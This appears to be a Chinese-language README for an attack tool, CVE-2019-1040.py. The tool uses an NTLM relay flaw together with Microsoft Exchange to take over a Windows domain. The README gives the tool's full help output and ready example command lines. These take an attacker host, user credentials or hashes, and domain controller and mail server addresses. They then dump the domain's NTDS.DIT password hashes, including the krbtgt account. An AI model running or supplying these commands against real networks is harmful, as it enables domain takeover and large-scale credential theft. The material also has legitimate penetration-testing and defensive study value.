很棒的文章!利用 CVE-2019-1040 - 结合中继漏洞实现 RCE 和域管理员权限 。
因此,我编写了 CVE-2019-1040.py 以便于使用。
你也可以查看我的 exchange2domain 仓库:https://github.com/ridter/exchange2domain,这是另一种利用 Exchange 获取域控制器的方法。
这些工具需要 impacket。你可以通过 pip install impacket 从 pip 安装。
usage: CVE-2019-1040.py [-h] [-u USERNAME] [-d DOMAIN] [-p PASSWORD]
[--hashes HASHES] [--smb-port [destination port]] -ah
ATTACKER_HOST [-ap ATTACKER_PORT] -th TARGET_HOST
[-t TIMEOUT]
[--exec-method [{smbexec,wmiexec,mmcexec}]]
[--just-dc-user USERNAME] [--debug]
EX_HOSTNAME
CVE-2019-1040 with Exchange
positional arguments:
EX_HOSTNAME Exchange 服务器的主机名/IP
optional arguments:
-h, --help 显示此帮助信息并退出
-u USERNAME, --user USERNAME
用于认证的用户名
-d DOMAIN, --domain DOMAIN
用户所在的域(FQDN 或 NETBIOS 域名)
-p PASSWORD, --password PASSWORD
认证密码,如果未指定且未提供 NT:NTLM 哈希,则会提示输入
--hashes HASHES LM:NLTM 哈希
--smb-port [destination port]
连接到 SMB 服务器的目标端口
-ah ATTACKER_HOST, --attacker-host ATTACKER_HOST
攻击者的主机名或 IP
-th TARGET_HOST, --target-host TARGET_HOST
域控制器的主机名或 IP
-t TIMEOUT, --timeout TIMEOUT
超时时间(秒)
--exec-method [{smbexec,wmiexec,mmcexec}]
在目标上使用的远程执行方法(仅在使用 -use-vss 时有效)。默认:smbexec
--just-dc-user USERNAME
仅提取指定用户的 NTDS.DIT 数据。仅适用于 DRSUAPI 方法。
--debug 启用调试输出
示例:
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip
如果只想导出 krbtgt 用户,请使用 --just-dc-user。
示例:
python CVE-2019-1040.py -ah attackterip -u user -p password -d domain.com -th DCip MailServerip --just-dc-user krbtgt
python CVE-2019-1040.py -ah attackterip -u user --hashes userhash -d domain.com -th DCip MailServerip --just-dc-user krbtgt
